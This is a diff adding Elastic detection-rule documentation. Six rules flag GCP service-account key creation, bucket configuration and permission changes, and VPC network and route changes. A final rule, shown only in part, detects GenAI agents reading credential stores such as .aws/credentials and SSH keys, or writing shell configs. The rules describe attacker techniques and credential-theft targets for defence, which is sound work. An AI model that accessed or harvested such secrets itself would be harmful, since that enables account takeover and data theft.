b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-key-creation.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-gcp-service-account-key-creation]] +=== GCP Service Account Key Creation + +Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Key Creation* + + +In GCP, service accounts are crucial for applications to authenticate and interact with Google services securely. They use cryptographic keys for API access, which, if mismanaged, can be exploited by adversaries to gain unauthorized access. The detection rule monitors audit logs for new key creations, flagging potential misuse by identifying successful key generation events, thus helping to mitigate risks associated with unauthorized access. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.CreateServiceAccountKey to identify the service account involved in the key creation. +- Check the event.dataset:gcp.audit logs to determine the user or process that initiated the key creation and verify if it aligns with expected behavior or scheduled tasks. +- Investigate the permissions and roles assigned to the service account to assess the potential impact of the new key being used maliciously. +- Examine the event.outcome:success logs to confirm the successful creation of the key and cross-reference with any recent changes or deployments that might justify the key creation. +- Contact the owner or responsible team for the service account to verify if the key creation was authorized and necessary for their operations. +- Review any recent alerts or incidents related to the service account to identify patterns or repeated unauthorized activities. + + +*False positive analysis* + + +- Routine key rotations by automated processes can trigger alerts. To manage this, identify and whitelist these processes by their service account names or associated metadata. +- Development and testing environments often generate new keys frequently. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance activities by cloud administrators may involve key creation. Document these activities and create exceptions based on the timing and user accounts involved. +- Third-party integrations that require periodic key updates can cause false positives. Maintain a list of trusted third-party services and exclude their key creation events from alerts. +- Internal tools or scripts that programmatically create keys for operational purposes should be reviewed and, if deemed safe, added to an exception list based on their execution context. + + +*Response and remediation* + + +- Immediately revoke the newly created service account key to prevent unauthorized access. This can be done through the GCP Console or using the gcloud command-line tool. +- Conduct a thorough review of the service account's permissions to ensure they are aligned with the principle of least privilege. Remove any unnecessary permissions that could be exploited. +- Investigate the source of the key creation event by reviewing audit logs to identify the user or process responsible for the action. Determine if the action was authorized or if it indicates a potential compromise. +- If unauthorized access is suspected, rotate all keys associated with the affected service account and any other potentially compromised accounts to mitigate further risk. +- Implement additional monitoring and alerting for unusual service account activities, such as unexpected key creations or permission changes, to enhance detection of similar threats in the future. +- Escalate the incident to the security team for further investigation and to determine if additional containment or remediation actions are necessary, including notifying affected stakeholders if a breach is confirmed. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-configuration-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-configuration-modification.asciidoc new file mode 100644 index 0000000000..756bc6dbac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-configuration-modification.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-gcp-storage-bucket-configuration-modification]] +=== GCP Storage Bucket Configuration Modification + +Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/key-terms#buckets + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Configuration Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. Adversaries may alter bucket configurations to weaken security, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for successful configuration changes, flagging potential defense evasion attempts by identifying suspicious modifications to storage settings. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "storage.buckets.update" to identify the user or service account responsible for the configuration change. +- Examine the event.outcome field to confirm the success of the configuration modification and gather details on what specific changes were made to the storage bucket settings. +- Investigate the context of the change by checking the timestamp of the event to determine if it aligns with any known maintenance or deployment activities. +- Assess the permissions and roles of the user or service account involved in the modification to ensure they have the appropriate level of access and determine if any privilege escalation occurred. +- Cross-reference the modified bucket's configuration with security policies and best practices to identify any potential security weaknesses introduced by the change. +- Check for any other recent suspicious activities or alerts related to the same user or service account to identify patterns of potentially malicious behavior. +- If unauthorized changes are suspected, initiate a response plan to revert the configuration to its previous state and strengthen access controls to prevent future incidents. + + +*False positive analysis* + + +- Routine administrative updates to storage bucket configurations by authorized personnel can trigger alerts. To manage this, maintain a list of known administrators and their typical activities, and create exceptions for these actions in the monitoring system. +- Automated processes or scripts that regularly update bucket configurations for maintenance or compliance purposes may cause false positives. Identify these processes and exclude their actions from triggering alerts by using service accounts or specific identifiers. +- Changes made by cloud management tools or third-party services integrated with GCP might be flagged. Review and whitelist these tools if they are verified and necessary for operations. +- Scheduled updates or configuration changes as part of regular security audits can appear suspicious. Document these schedules and incorporate them into the monitoring system to prevent unnecessary alerts. +- Temporary configuration changes for testing or development purposes might be misinterpreted as threats. Ensure that such activities are logged and communicated to the security team to adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately revoke any unauthorized access to the affected GCP storage bucket by reviewing and adjusting IAM policies to ensure only legitimate users have access. +- Conduct a thorough review of recent bucket configuration changes to identify any unauthorized modifications and revert them to their original secure state. +- Isolate the affected storage bucket from the network if suspicious activity is detected, to prevent further unauthorized access or data exfiltration. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure coordinated response efforts. +- Implement additional logging and monitoring on the affected bucket to detect any further unauthorized access attempts or configuration changes. +- Review and update security policies and access controls for all GCP storage buckets to prevent similar incidents in the future. +- Escalate the incident to the cloud security team for a comprehensive analysis and to determine if further action is required, such as involving legal or compliance teams. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:"storage.buckets.update" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-permissions-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-permissions-modification.asciidoc new file mode 100644 index 0000000000..d30833c0da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-storage-bucket-permissions-modification.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-gcp-storage-bucket-permissions-modification]] +=== GCP Storage Bucket Permissions Modification + +Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/access-control/iam-permissions + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Permissions Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. IAM permissions control access to these buckets, ensuring data security. Adversaries may alter these permissions to bypass security measures, leading to unauthorized data access or exposure. The detection rule identifies successful permission changes, signaling potential misuse or accidental misconfigurations, aiding in timely security audits and responses. + + +*Possible investigation steps* + + +- Review the event logs for the specific action "storage.setIamPermissions" to identify which IAM permissions were modified and by whom. +- Check the event.outcome field to confirm the success of the permission change and correlate it with any recent access attempts or data access patterns. +- Investigate the identity of the user or service account that performed the permission change to determine if it aligns with expected administrative activities. +- Assess the current IAM policy of the affected storage bucket to understand the new permissions and evaluate any potential security risks or exposure. +- Cross-reference the timing of the permission change with other security events or alerts to identify any suspicious activity or patterns. +- Consult with the bucket owner or relevant stakeholders to verify if the permission change was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine administrative updates to IAM permissions can trigger alerts. To manage this, create exceptions for known maintenance windows or specific administrative accounts that regularly perform these updates. +- Automated scripts or tools that adjust permissions as part of their normal operation may cause false positives. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made by trusted third-party services integrated with GCP might be flagged. Review and whitelist these services if they are verified and necessary for business operations. +- Temporary permission changes for troubleshooting or testing purposes can be mistaken for malicious activity. Document and schedule these changes, and exclude them from alerts during the specified timeframes. +- Permissions modified by cloud management platforms or orchestration tools should be reviewed. If these tools are part of standard operations, consider excluding their actions from the detection rule. + + +*Response and remediation* + + +- Immediately revoke any unauthorized IAM permissions changes by restoring the previous known good configuration for the affected GCP storage bucket. +- Conduct a thorough review of the IAM policy change logs to identify the source and nature of the modification, focusing on the user or service account responsible for the change. +- Isolate the affected storage bucket from external access until the permissions are verified and secured to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized changes and the steps taken to mitigate the risk. +- Implement additional monitoring on the affected storage bucket and related IAM policies to detect any further unauthorized changes or suspicious activities. +- Review and update IAM policies to ensure the principle of least privilege is enforced, reducing the risk of similar incidents in the future. +- If the incident is suspected to be part of a larger attack, escalate to incident response teams for a comprehensive investigation and potential involvement of law enforcement if necessary. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:"storage.setIamPermissions" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-network-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-network-deletion.asciidoc new file mode 100644 index 0000000000..a9c09562ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-network-deletion.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-gcp-virtual-private-cloud-network-deletion]] +=== GCP Virtual Private Cloud Network Deletion + +Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/vpc + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Network Deletion* + + +Google Cloud Platform's Virtual Private Cloud (VPC) networks are essential for managing isolated network environments within a project, encompassing subnets, routes, and firewalls. Adversaries may target VPC deletions to disrupt operations and evade defenses. The detection rule monitors audit logs for successful VPC deletions, flagging potential malicious activity by correlating specific event actions and outcomes. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action value "v*.compute.networks.delete" to identify the exact time and user account associated with the VPC network deletion. +- Check the event.outcome field to confirm the success of the deletion and correlate it with any other suspicious activities around the same timeframe. +- Investigate the user account or service account that performed the deletion to determine if it was authorized and if there are any signs of compromise or misuse. +- Examine the project and network configurations to assess the impact of the VPC deletion on the organization's operations and identify any critical resources that were affected. +- Look for any recent changes in IAM roles or permissions that might have allowed unauthorized users to delete the VPC network. +- Cross-reference the deletion event with other security alerts or incidents to identify potential patterns or coordinated attacks. + + +*False positive analysis* + + +- Routine maintenance activities may involve the deletion of VPC networks as part of infrastructure updates or reconfigurations. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for environment cleanup might trigger false positives if they delete VPC networks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags associated with these tools. +- Development and testing environments often undergo frequent changes, including VPC deletions. Consider excluding these environments from alerts by filtering based on project IDs or environment tags to reduce noise. +- Organizational policy changes might lead to the intentional deletion of VPC networks. Ensure that such policy-driven actions are documented and that the responsible teams are excluded from triggering alerts by using role-based access controls or specific user identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected project by restricting network access to prevent further unauthorized deletions or modifications. +- Review the audit logs to identify the source of the deletion request, including the user account and IP address, and verify if it was authorized. +- Recreate the deleted VPC network using the latest backup or configuration snapshot to restore network operations and minimize downtime. +- Implement additional access controls, such as multi-factor authentication and least privilege principles, to prevent unauthorized access to VPC management. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to Google Cloud Platform support if necessary, especially if there are indications of a broader compromise or if assistance is needed in recovery. +- Enhance monitoring and alerting for VPC-related activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:v*.compute.networks.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-creation.asciidoc new file mode 100644 index 0000000000..ec1fc8d1aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-creation.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-creation]] +=== GCP Virtual Private Cloud Route Creation + +Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Creation* + + +In Google Cloud Platform, VPC routes dictate the network paths for traffic from VM instances to various destinations, both within and outside the VPC. Adversaries may exploit this by creating routes to reroute or intercept traffic, potentially disrupting or spying on network communications. The detection rule identifies such activities by monitoring specific audit events related to route creation, aiding in the early detection of unauthorized network modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action values (v*.compute.routes.insert or "beta.compute.routes.insert") to identify the exact time and user account associated with the route creation. +- Examine the details of the newly created route, including the destination IP range and next hop, to determine if it aligns with expected network configurations or if it appears suspicious. +- Check the IAM permissions and roles of the user account that created the route to assess if they had the necessary privileges and if those privileges are appropriate for their role. +- Investigate any recent changes in the environment that might explain the route creation, such as new deployments or changes in network architecture. +- Correlate the route creation event with other security events or alerts in the same timeframe to identify potential patterns or coordinated activities that could indicate malicious intent. +- Consult with the network or cloud infrastructure team to verify if the route creation was part of an authorized change or if it was unexpected. + + +*False positive analysis* + + +- Routine network configuration changes by authorized personnel can trigger alerts. To manage this, maintain a list of known IP addresses and users who frequently make legitimate changes and exclude their activities from triggering alerts. +- Automated deployment tools that create or modify routes as part of their normal operation may cause false positives. Identify these tools and their associated service accounts, then configure exceptions for these accounts in the monitoring system. +- Scheduled maintenance activities often involve creating or updating routes. Document these activities and set temporary exceptions during the maintenance window to prevent unnecessary alerts. +- Integration with third-party services might require route creation. Verify these integrations and whitelist the associated actions to avoid false positives. +- Development and testing environments may have frequent route changes. Consider applying different monitoring thresholds or rules for these environments to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected VM instances by removing or disabling the suspicious route to prevent further unauthorized traffic redirection. +- Conduct a thorough review of recent route creation activities in the GCP environment to identify any other unauthorized or suspicious routes. +- Revoke any unauthorized access or permissions that may have allowed the adversary to create the route, focusing on IAM roles and service accounts with route creation privileges. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement network monitoring and logging to detect any future unauthorized route creation attempts, ensuring that alerts are configured for similar activities. +- Review and update the GCP VPC network security policies to enforce stricter controls on route creation and modification, limiting these actions to trusted administrators only. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any additional security measures or advisories. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:(v*.compute.routes.insert or "beta.compute.routes.insert") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-deletion.asciidoc new file mode 100644 index 0000000000..4c4e880b03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-deletion.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-gcp-virtual-private-cloud-route-deletion]] +=== GCP Virtual Private Cloud Route Deletion + +Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Deletion* + + +In GCP, VPC routes dictate network traffic paths between VM instances and other destinations. Adversaries may delete these routes to disrupt traffic flow, potentially evading defenses or impairing network operations. The detection rule monitors audit logs for successful route deletions, flagging potential misuse by identifying specific actions linked to route removal, thus aiding in timely threat response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action:v*.compute.routes.delete to identify the exact time and user account associated with the route deletion. +- Check the event.outcome:success field to confirm the deletion was successful and not an attempted action. +- Investigate the user account or service account that performed the deletion to determine if it was authorized to make such changes, including reviewing recent activity and permissions. +- Assess the impact of the route deletion by identifying which VPC and network traffic paths were affected, and determine if any critical services were disrupted. +- Correlate the route deletion event with other security events or alerts around the same timeframe to identify potential coordinated actions or broader attack patterns. +- Contact the relevant stakeholders or system owners to verify if the route deletion was intentional and part of a planned change or if it was unauthorized. + + +*False positive analysis* + + +- Routine maintenance activities by network administrators can trigger route deletions. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for network configuration updates may delete and recreate routes as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts. +- Cloud infrastructure changes during deployment processes might involve temporary route deletions. Document these processes and exclude related events from detection during deployment periods. +- Scheduled network reconfigurations that involve route deletions should be logged and excluded from alerts by correlating with change management records. +- Test environments often undergo frequent network changes, including route deletions. Exclude events from test environments by filtering based on project or environment tags. + + +*Response and remediation* + + +- Immediately isolate the affected VPC to prevent further unauthorized network traffic disruptions. This can be done by temporarily disabling external access or applying restrictive firewall rules. +- Review the audit logs to identify the user or service account responsible for the route deletion. Verify if the action was authorized and investigate any anomalies in user behavior or access patterns. +- Restore the deleted route using the latest backup or configuration management tools to re-establish normal network traffic flow. Ensure that the restored route aligns with the intended network architecture. +- Implement additional access controls and monitoring for the affected VPC, such as enabling more granular IAM roles and setting up alerts for any future route modifications. +- Conduct a security review of the affected environment to identify any other potential misconfigurations or vulnerabilities that could be exploited in a similar manner. +- Escalate the incident to the security operations team for further investigation and to determine if the route deletion was part of a larger attack campaign. +- Document the incident, including the root cause analysis and remediation steps taken, to enhance organizational knowledge and improve future incident response efforts. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-accessing-sensitive-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-accessing-sensitive-files.asciidoc new file mode 100644 index 0000000000..488cd2208c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-accessing-sensitive-files.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-genai-process-accessing-sensitive-files]] +=== GenAI Process Accessing Sensitive Files + +Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0085 +* https://atlas.mitre.org/techniques/AML.T0085.001 +* https://atlas.mitre.org/techniques/AML.T0055 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: 